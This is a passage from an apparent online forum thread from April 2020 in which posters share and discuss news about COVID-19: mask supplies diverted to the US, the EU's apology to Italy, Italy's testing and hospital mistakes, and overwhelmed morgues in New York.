2) Render the virus locally extinct by preventing it from infecting people. Once the virus is gone restrictions can be removed. China says it is close to accomplishing this. The problems here are that we don't really have a test with a low enough false negative rate to do this well. It isn't yet clear how common asymptomatic transmission is or how common it is for people to remain contagious for a long time after symptoms mostly depart but if either are common that will be a major problem for this. This virus' long incubation period and tendency to spread before symptoms appear will make this very difficult. Also, for Europe and the US the requirement that all entries be tested to prevent the virus from being reintroduced will be very difficult to enforce on their southern boarders.

Nicholas

[The Romulan Republic]

Given the direction things have been going lately, I suspect the border issue will be "enforced" by men with machine guns and shoot on sight orders. This is simply the excuse the Right has been waiting for.

[mr friendly guy]

Remember how the US wanted to buy a German vaccine company. Well more goodness from the land of the free.
https://chicago.suntimes.com/coronaviru ... wns-gloves

Trudeau: Supplies for Canada diverted to U.S.
The prime minister says he’s working with the U.S. and is following up on this specific issue. He says he knows the needs are great in the U.S. but says it’s the same in Canada.

By Associated Press Apr 2, 2020, 11:15am CDT

Canadian Prime Minister Justin Trudeau speaks during a news conference on COVID-19 situation in Canada from his residence March 19, 2020 in Ottawa, Canada. - The Canada-US border will likely be closed to non-essential travel overnight from Friday to Saturday, Prime Minister Justin Trudeau said March 19, 2020. The planned temporary shutdown of the 8,891 kilometer (5,525 mile) international boundary — the longest in the world between two countries — was jointly announced by Trudeau and Donald Trump the previous day. Photo by DAVE CHAN/AFP via Getty

TORONTO — Canadian Prime Minister Justin Trudeau says he’s very concerned about reports that medical supplies destined for Canada have been diverted to the U.S.

Trudeau has asked his public safety minister and transport minister to look into the reports. He says they need to make sure the personal protective equipment that was ordered in Canada makes it to Canada.

Get the latest news about the coronavirus and its ripple effects in Chicago and Illinois in our live blog.

The prime minister says he’s working with the U.S. and is following up on this specific issue. He says he knows the needs are great in the U.S. but says it’s the same in Canada.

He also says the government has ordered hundreds of thousands of face shields from Bauer, the company that normally makes hockey equipment.

It gets better, although I haven't been able to verify this one since its in French

http://www.leparisien.fr/societe/des-ma ... 292483.php

Google translate from the French

By M.-L.W.
April 1, 2020 at 9:15 p.m., modified April 2, 2020 at 6:34 a.m.
To the best offer. Masks ordered in China by the Grand Est region were bought directly by the Americans on the tarmac of Chinese airports, in particular that of Shanghai, from where the delivery planes must leave. The latter therefore change their flight plans to head for the United States instead of France.

It is the president of the Grand Est region, Jean Rottner who tells the story of this unforgiving universe at the microphone of RTL. Fortunately, his men managed to get this precious commodity through in times of crisis.


"The Americans take out the cash"
“Me, I have a small cell at the regional level which works very hard to, with the sponsors, be able to win these markets. And indeed, on the tarmac, the Americans take out the cash and pay three or four times for the orders we have made, so we really have to fight. And I was very happy to see this plane arrive at our house last night, ”he added.


Two million surgical masks ordered by the Grand Est region from China were delivered overnight from Tuesday to Wednesday at Basel-Mulhouse airport.

An order from the Grand Est region
Jean Rottner, himself an emergency doctor in Mulhouse, the Alsatian city where this evangelical gathering had taken place where the Covid-19 has spread widely, has ordered a total of five million masks, financed by the budget of the region. The Grand Est was the first region to receive its own order for masks placed in addition to national orders.

Other regions followed. And the president of the Paca region, Renaud Muselier, also complained on Tuesday of such a practice on the part of American buyers.

Emmanuel Macron, criticized for the lack of masks that France has to face, notably promised Tuesday "full independence" by the end of the year for the production of masks, during a visit to a manufacturing plant in Anjou. In the meantime, France has ordered "more than a billion and a half masks in France and abroad" to meet the needs linked to the Covid-19 epidemic, said Minister of Health Olivier on Wednesday Veran.

Insert sarcastic comment here about Trump.

[The Romulan Republic]

Not familiar with the sources, so I can't speak to their credibility, but if its true...

If its incompetence, then hopefully it will be rectified quickly.

If its deliberate, ie the Trump Regime exerted pressure to redirect supplies Canada and France had purchased, then Canada and France should regard that as an act of war.

[mr friendly guy]

EU apologises to Italy over its coronavirus response

https://www.reuters.com/article/us-heal ... SKBN21K2AF

EU Commission apologises to Italy over coronavirus response, deaths push higher
Crispian Balmer
4 MIN READ

ROME (Reuters) - The head of the European Commission apologised to Italy on Thursday for a lack of solidarity from Europe in tackling its coronavirus crisis, but promised greater help in dealing with the economic fallout.

There has been widespread dismay in Italy over Europe’s response to the pandemic, starting with an initial failure to send medical aid, followed by a refusal amongst northern nations to endorse joint bonds to mitigate the cost of recovery.

The far-right League party has jumped on the discontent to call into question Italy’s continued membership of the 27-nation bloc, while even staunch pro-Europeans have expressed consternation at the lack of empathy and support.

Italy, which has recorded more coronavirus deaths than any other country, said on Thursday its toll had risen by 760 over the last 24 hours to 13,915, slightly up on a day earlier. The number of new cases was steady, growing by 4,668 to 115,242.

In a letter published in the Italian daily La Repubblica, Commission President Ursula von der Leyen said too many EU countries had initially focused on their own problems.

“They did not realise that we can only defeat this pandemic together, as a Union. This was harmful and could have been avoided,” she wrote, adding: “Today Europe is rallying to Italy’s side.”

The main bone of contention is a request by Italy and eight other countries to issue “recovery bonds” on behalf of all euro zone countries to help fund efforts to rebuild national economies that are expected to dive deep into recession.

Conservative leaders in wealthy states such as Germany, the Netherlands and Austria have so far recoiled at the idea of issuing bonds with highly indebted nations, such as Italy.

ATTACKING GERMANY
Italian Prime Minister Giuseppe Conte urged a rethink.

“I believe that everyone will eventually realise even in those countries that a shared, orderly, strong and rapid European response is the only solution,” he told Spain’s La Sexta television. “A slow response would be a useless response.”

The opposition League, Italy’s most popular party, has struggled to gain much attention during the coronavirus crisis, and has leapt on the EU debate to gain greater traction.

“Commission president von der Leyen has apologised today to Italy and Italians. She could have thought of this sooner. From Europe, all we are getting are words and smoke: zero substance,” League leader Matteo Salvini wrote on Twitter.

The party’s economic adviser, Claudio Borghi, posted on Twitter a fascist-era poster from World War Two of a smiling Nazi soldier with the slogan “Germany really is your friend”.

“Time passes but the tactics are always the same,” Borghi wrote.

Von der Leyen told La Repubblica that the European Union would allocate up to 100 billion euros ($109.62 billion) to the hardest-hit countries, starting with Italy, to help cover the cost of lost wages and to preserve jobs.

She said the commission also wanted to make sure that “every euro still available in the EU’s annual budget” is spent on tackling the coronavirus crisis.

However, she did not mention the euro bonds sought by Rome.

Underscoring the scale of the epidemic in Italy, the crematorium in the country’s financial capital Milan announced on Thursday that it would not take in any more bodies for the rest of April to allow it to clear its backlog of coffins.

[J]

EU apologises to Italy over its coronavirus response

https://www.reuters.com/article/us-heal ... SKBN21K2AF

Well at least Italy received an apology (unlike Greece after the EU turned them into indentured debt slaves), for all the good it will do.

[J]

Mistakes were made. We must learn from them. Now.

https://www.cbc.ca/news/covid-19/italy- ... -1.5517520

The lessons Italy has learned about its COVID-19 outbreak could help the rest of the world

Nature of hospital admissions and testing policy among 'mistakes' in country's coronavirus response

Megan Williams · CBC News · Posted: Apr 02, 2020 4:00 AM ET | Last Updated: 11 hours ago

For the first time since coronavirus infections exploded in the small town of Lodi, Lombardy, the northern Italian region that would become the epicentre of the European outbreak, a remarkable sight has appeared in the hospital there: a few empty beds.

Health-care workers continue to issue strong warnings that Italy is far from being out of the woods, and on Wednesday morning, Italy's health minister extended the nationwide lockdown to April 13.

But the crushing pressure on northern Italian intensive-care units seems to be finally easing, providing if not a light at the end of the tunnel — deaths in Italy have surpassed 13,000 and still top 700 a day — then a distant flicker of hope.

Only carefully conducted epidemiological studies will bring to light exactly how and why COVID-19 took off in northern Italy with such speed. But in the midst of the emergency, experts say there are already lessons to be gleaned from Italy's fatal errors — and urgent messages for other parts of the world.

"The biggest mistake we made was to admit patients infected with COVID-19 into hospitals throughout the region," said Carlo Borghetti, the vice-premier of Lombardy, an economically crucial region with a population of 10 million.

"We should have immediately set up separate structures exclusively for people sick with coronavirus. I recommend the rest of the world do this, to not send COVID patients into health-care facilities that are still uninfected."

Already, Italian cities in other regions are doing this, as well as field hospitals in Milan and Bergamo, Lombardy, which are almost complete.

However, the virus was not only spread to "clean" — i.e. infection-free — hospitals by admitting positive patients. In early March, as the number of infected was doubling every few days, authorities allowed overwhelmed hospitals to transfer those who tested positive but weren't gravely ill into assisted-living facilities for the elderly.

"It was like throwing a lit match onto a haystack," said Borghetti, who spoke out against the directive at the time. "Some facilities refused to take in the positive patients. For those that did [take them in], it was devastating."

Along with the tragic misstep of putting infected people under the same roof as clusters of the most physically vulnerable, Borghetti and others point to a deeper structural factor that accelerated the outbreak in northern Italy: a highly centralized health-care system with large hospitals as its focus.

Under normal circumstances, these large hospitals are very effective, with a wide range of expertise under one roof. But as the go-to place for health services, they acted as conductors of infection.

"For the past 20 years, the region invested heavily in hospitals, which are now among the best in Europe," Borghetti said. "Unfortunately, we did not make the same investment in local health services: health clinics, rehab facilities, community nursing and family doctors. And as a result, we're drowning [in the epidemic]."

Testing policy 'was wrong'

Epidemiologists estimate the real number of infected in Italy, now officially more than 110,000, is likely at least 10 times that number. Affected areas in Italy began vast testing of even asymptomatic people in the last week of February, shortly after Patient One was discovered on Feb. 21. A week later, however, they began to comply with the government's requests to limit testing only to symptomatic cases.

"That policy of testing was wrong," said Guido Marinoni, president of the Medical Association of Bergamo, the hardest-hit city. "We should have extended testing to the relatives of positive people and the contacts of those relatives, at the very least."

This same loose grasp on the number of infected also applies to deaths, which researchers and mayors in Italy's north say could be four to six times higher than the official count.

Comparisons between the number of deaths in the four years prior to 2020 with the same period this year show a dramatic spike in mortality that the official death count of COVID-19 does not seem to adequately account for.

The gap, say experts, is the result of data being collected only on those who are hospitalized or who die in hospital with a positive test. Yet most people die at home.

"Many have died at home with undiagnosed coronavirus that exacerbated heart and lung complications," said scientist Luca Foresti, CEO of the Santagostino Medical Centre, Italy's largest out-patient clinic. Foresti has conducted a study on the mortality rate in four different towns in northern Italy: Nembro, Pesaro, Cernusco sul Naviglio and Bergamo.

"Another factor is that people with other unrelated illnesses, under normal conditions, would call an ambulance and be taken to emergency. But with hospitals overwhelmed, there were no ambulances" or hospital beds available, said Foresti.

He estimates 90 per cent of the additional deaths in northern Italy so far this year are from coronavirus and only 10 per cent due to unrelated illnesses.

Theories about spread don't bear out

In the early weeks after the virus took off here, many theorized about what was behind Italy's high case fatality rate (deaths per confirmed infections), a global outlier at a shocking 10 per cent.

Among the explanations were the country's aged population and a cultural propensity to socialize in groups, often cross-generational, as well as showing affection through touch — compared to Asia, where mask-wearing and social distancing are common even in non-pandemic times.

Experts say the full impact of these factors won't be clear until further studies are carried out.

"Luck is a fundamental determinant of contagion [at the beginning]," said Matteo Villa, a researcher at the Italian Institute for International Political Studies. "A virus can be introduced to a person who has little contact with others, or to a super spreader," which was the case with Italy's Patient One.

After it starts to take off, however, it follows the same exponential pattern.

The biggest takeaway from Italy, experts say, is that what happened here can happen anywhere.

[chimericoncogene]

For me, one of the "highlights" of this whole crisis was how it demonstrated the lack of unity among the nations of the EU. In Wuhan, the Chinese government flew in massive amounts of aid (up to multiple containerized field hospitals) to keep death rates down, and pumped doctors in from across the country, even while every province recorded outbreaks. Italy was not in a position to receive any such assistance from the other nations of the EU. OTOH, the US Federal Government doesn't appear to have been much more help either, although they are probably positioning themselves for a longer-term outbreak and thus cannot swamp, say, New Orleans with resources in the hopes that the problem will be contained in Louisiana.

[MKSheppard]

2 April 2020 Evening Update.

So, the US continues to track closely with Spain on normalized deaths. This is bad.

Why?

Extrapolate what a 20 per million death rate is = 6400 a day with a population of 320~ million.

In sheer numbers, NYC alone looks like it's going to be another Italy.

[MKSheppard]

I guess I need to add france for the next one.

2116 new cases and 1355 new deaths in France, including 884 fatalities in nursing homes that occurred over a period of several weeks and that were announced only today. NOTE: If and when the French government determines the correct distribution of these additional deaths over time, we will adjust historical data accordingly

[MKSheppard]

DAILY HEIL

Bodies are flowing through Brooklyn hospitals 'like a conveyor belt' and 130 MORE mobile morgues are on their way to NYC as experts predict citywide death toll to soar past 16,000



Bodies of coronavirus victims are flowing through Brooklyn hospitals 'like a conveyor belt' and as many as 130 more mobile morgues are on their way to New York City to store them as experts warn that the death toll in the US pandemic epicenter could reach 16,000.

Hospitals and healthcare professionals are struggling to bring the crisis under control and the city is becoming overwhelmed with dead bodies as the pandemic is poised to kill more New Yorkers than 9/11.

The US Department of Defense is also sending 42 mortuary affairs officers and the New York Air National Guard has sent a 12-person team to help the city run the mobile morgues.

One of the mobile morgues was placed outside the hard-hit Brookdale Hospital in Brooklyn, where one doctor said bodies have been passing through 'like a conveyor belt'. Brookdale ran out of space in its in-house morgue, which holds 25 bodies, on Tuesday.

Nursing staff ran out of body bags the next day as the mobile morgue outside climbed closer and closer to capacity.

New York state continues to be the hardest-hit in the US with 92,381 infections and 2,373 deaths as of Thursday.

















The 'average wait time' for hospitals to pick up bodies is one to two days, Katz said.

'In these circumstances we're waiting multiple, multiple days.'

Lanotte said he is trying to address the bottleneck of bodies by reaching out to cemeteries directly and asking them to return to normal schedules.

Crematories were recently given the green light to work around the clock until June 30 after city environmental officials eased restrictions.

At Ferncliff Cemetery in Westchester, Phil Tassi said staff were working 16 hour days to wade through the influx of dead bodies.

'We're running 16 hours a day, and we've hit capacity where we have to set limits because we can't keep up with the number of bodies coming in,' Tassi told The Times. 'We have never had weeks like this.'











The mobile morgues are part of this emergency plan.

The next stage would be for bodies to be sent to Hart Island in the Bronx to be buried by Rikers Island prison inmates.

The final stage is temporary mass graves, with 'ten bodies in caskets' packed in the ground together.

It remains to be seen whether these more extreme stages of mass burials will need to be acted out during the coronavirus pandemic.

[mr friendly guy]

For me, one of the "highlights" of this whole crisis was how it demonstrated the lack of unity among the nations of the EU. In Wuhan, the Chinese government flew in massive amounts of aid (up to multiple containerized field hospitals) to keep death rates down, and pumped doctors in from across the country, even while every province recorded outbreaks. Italy was not in a position to receive any such assistance from the other nations of the EU. OTOH, the US Federal Government doesn't appear to have been much more help either, although they are probably positioning themselves for a longer-term outbreak and thus cannot swamp, say, New Orleans with resources in the hopes that the problem will be contained in Louisiana.

The difficulty here with the EU is different languages. In China even with local dialects, people understand enough Mandarin so you can transfer medical staff from cantonese speaking Guangdong to Hubei with no problem. Its harder for the EU to do that. So now they are transferring some patients from one country to the other, eg Germany I think is taking some of France's patient's into their hospitals. This is most probably the best way for the EU to spread resources around.

[Jub]

For me, one of the "highlights" of this whole crisis was how it demonstrated the lack of unity among the nations of the EU. In Wuhan, the Chinese government flew in massive amounts of aid (up to multiple containerized field hospitals) to keep death rates down, and pumped doctors in from across the country, even while every province recorded outbreaks. Italy was not in a position to receive any such assistance from the other nations of the EU. OTOH, the US Federal Government doesn't appear to have been much more help either, although they are probably positioning themselves for a longer-term outbreak and thus cannot swamp, say, New Orleans with resources in the hopes that the problem will be contained in Louisiana.

The difficulty here with the EU is different languages. In China even with local dialects, people understand enough Mandarin so you can transfer medical staff from cantonese speaking Guangdong to Hubei with no problem. Its harder for the EU to do that. So now they are transferring some patients from one country to the other, eg Germany I think is taking some of France's patient's into their hospitals. This is most probably the best way for the EU to spread resources around.

Doesn't that risk spreading the infection around needlessly? It would be better to keep the infected isolated as much as possible and accept that a lack of resources will mean more deaths locally than to risk a spread into new regions.